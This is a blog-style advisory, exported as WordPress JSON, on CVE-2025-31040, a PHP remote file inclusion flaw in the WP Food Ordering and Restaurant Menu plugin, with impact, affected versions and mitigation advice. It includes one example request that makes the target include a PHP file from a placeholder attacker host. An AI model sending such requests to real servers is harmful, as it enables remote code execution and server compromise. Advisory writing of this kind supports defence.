{"id":28744,"date":"2025-04-22T02:38:58","date_gmt":"2025-04-22T02:38:58","guid":{"rendered":""},"modified":"2025-09-26T20:58:32","modified_gmt":"2025-09-27T02:58:32","slug":"cve-2025-31040-critical-php-remote-file-inclusion-vulnerability-in-wp-food-ordering-and-restaurant-menu-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31040-critical-php-remote-file-inclusion-vulnerability-in-wp-food-ordering-and-restaurant-menu-plugin\/","title":{"rendered":"<strong>CVE-2025-31040: Critical PHP Remote File Inclusion Vulnerability in WP Food Ordering and Restaurant Menu Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has recently identified a potentially severe vulnerability, dubbed as CVE-2025-31040. This vulnerability affects the WP Food ordering and Restaurant Menu plugin, widely used in various websites for online food ordering and menu display functionalities. This vulnerability is significant because it opens the door for unauthenticated attackers to perform a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32614-php-remote-file-inclusion-vulnerability-in-ashan-perera-eventon\/\"  data-wpil-monitor-id=\"33049\">PHP Remote File<\/a> Inclusion (RFI), potentially leading to a system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-31040<br \/>\nSeverity: Critical, CVSS score: 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33685\">potential data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-246138533\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WP Food <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52327-sql-injection-vulnerability-in-restaurant-order-system-1-0\/\"  data-wpil-monitor-id=\"89948\">Ordering and Restaurant<\/a> Menu | n\/a &#8211; 1.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The WP Food ordering and Restaurant Menu plugin has an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23389-improper-access-control-vulnerability-in-suse-rancher\/\"  data-wpil-monitor-id=\"33352\">improper control<\/a> mechanism for the filename in the Include\/Require statements in its PHP program. This vulnerability can be exploited by an attacker to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-45724-unauthenticated-file-upload-vulnerability-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33984\">remote<\/a> file from an external source. When this file is included, it gets <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45351-xiaomi-game-center-application-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"52134\">executed in the context of the server-side application<\/a>. If the included file contains malicious code, it could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-42970-use-after-free-vulnerability-in-multiple-apple-platforms-may-lead-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"33022\">lead to arbitrary code<\/a> execution, potentially compromising the system or leading to data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2417624686\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>To <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34970\">exploit this vulnerability<\/a>, an attacker might send an HTTP request similar to the following:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?menu_include=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this request, the attacker attempts to include a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/\"  data-wpil-monitor-id=\"34969\">PHP file<\/a> (`malicious.php`) hosted on their server (`attacker.com`). If the system is vulnerable, the server will fetch and execute the malicious file, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23391-incorrect-privilege-assignment-in-suse-rancher-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33076\">potentially leading to a system<\/a> compromise or data leakage.<\/p>\n<p><strong>Prevention and Mitigation Strategies<\/strong><\/p>\n<p>To mitigate the risk <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23176-sql-injection-vulnerability-poses-serious-threat-to-data-security\/\"  data-wpil-monitor-id=\"39952\">posed by this vulnerability<\/a>, users are advised to apply vendor patches as soon as they become available. In the absence of a patch, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31100-unrestricted-file-upload-leads-to-web-shell-deployment-in-mojoomla-school-management\/\"  data-wpil-monitor-id=\"84693\">deploying a Web<\/a> Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on suspicious activities. However, these measures do not eliminate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3495-critical-security-vulnerability-in-delta-electronics-commgr-due-to-insufficiently-randomized-session-ids\/\"  data-wpil-monitor-id=\"35979\">vulnerability but instead provide an additional layer of security<\/a> while a more permanent solution is sought.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has recently identified a potentially severe vulnerability, dubbed as CVE-2025-31040. This vulnerability affects the WP Food ordering and Restaurant Menu plugin, widely used in various websites for online food ordering and menu display functionalities. This vulnerability is significant because it opens the door for unauthenticated attackers to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-28744","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/28744","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=28744"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/28744\/revisions"}],"predecessor-version":[{"id":82820,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/28744\/revisions\/82820"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=28744"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=28744"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=28744"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=28744"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=28744"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=28744"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=28744"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=28744"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=28744"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}